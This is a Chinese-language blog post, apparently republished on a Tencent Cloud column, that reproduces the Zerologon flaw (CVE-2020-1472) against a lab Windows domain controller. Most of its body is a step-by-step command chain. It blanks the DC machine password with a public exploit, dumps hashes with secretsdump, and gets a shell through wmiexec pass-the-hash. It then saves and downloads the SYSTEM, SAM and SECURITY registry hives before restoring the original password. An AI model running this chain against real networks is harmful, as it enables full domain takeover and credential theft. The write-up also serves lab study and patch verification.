前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-1472复现打域控

CVE-2020-1472复现打域控

作者头像
网络安全自修室
发布2021-06-21 19:49:27
2.2K0
发布2021-06-21 19:49:27
举报

简介

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空

复现环境

DC: os:windows 2012 server ip:192.168.106.137

攻击机: os:kali ip:192.168.106.129

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server Core installation) Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation)

域环境搭建

关于域环境的搭建,可以参考这篇文章Windows Server 2012搭建域环境

搭建完毕后,可以使用Netdom query fsmo命令查看域环境信息

nbtstat -n 获取当前机器的NetBIOS名称

复现过程

漏洞验证

下载poc:https://github.com/SecuraBV/CVE-2020-1472 验证漏洞是否存在: python3 zerologon_tester.py DC_NETBIOS_NAME DC_IP_ADDR 如下图所示,漏洞存在

漏洞利用

下载exp: git clone https://github.com/dirkjanm/CVE-2020-1472

置空DC的密码 python3 cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR

如果出现了下图中的错误:

可以参考图中的方式修复

获取HASH

使用impacket包中的secretsdum.py来获取相关的HASh python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -no-pass

获取shell

获取HASH后,可以利用wmiexec.py登录,从而获取一个SHELL python wmiexec.py -hashes <HASH> DOMAIN/DOMAIN_USER@DC_IP_ADDR

恢复原HASH

执行以下命令,获取SAM中原来的HASH

代码语言:javascript
复制
# SHELL 
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.saveget security.save
del /f system.save
del /f sam.save
del /f security.save
exit

保存在kali中

解析HASH

执行如下命令,利用secretsdump.py解析保存在本地的nt hash python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

需要保存的数据 a5d65e274a2db831ae4b246ec8fe51de

恢复HASH

恢复HASH的工具: git clone https://github.com/risksense/zerologon

执行命令: python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR <ORI_HASH>

检查是否恢复

再次执行命令

python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -no-pass

参考资料

[0]参考文章:https://blog.csdn.net/sinat_36853972/article/details/108715304

[1]Windows Server 2012搭建域环境:https://www.cnblogs.com/xfan1982/p/4120583.html

[2]CVE-2020-1472 域内提权完整利用:https://mp.weixin.qq.com/s/RUkGMxM5GjFrEiKa8aH6JA

[3]CVE-2020-1472复现:https://my.oschina.net/Umbrel1a/blog/4589778

[4]Windows Server 2012搭建域环境:https://www.cnblogs.com/xfan1982/p/4120583.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-06-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 复现环境
  • 影响版本
  • 域环境搭建
  • 复现过程
  • 漏洞验证
  • 漏洞利用
  • 获取HASH
  • 获取shell
  • 恢复原HASH
  • 解析HASH
  • 恢复HASH
  • 检查是否恢复
  • 参考资料
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档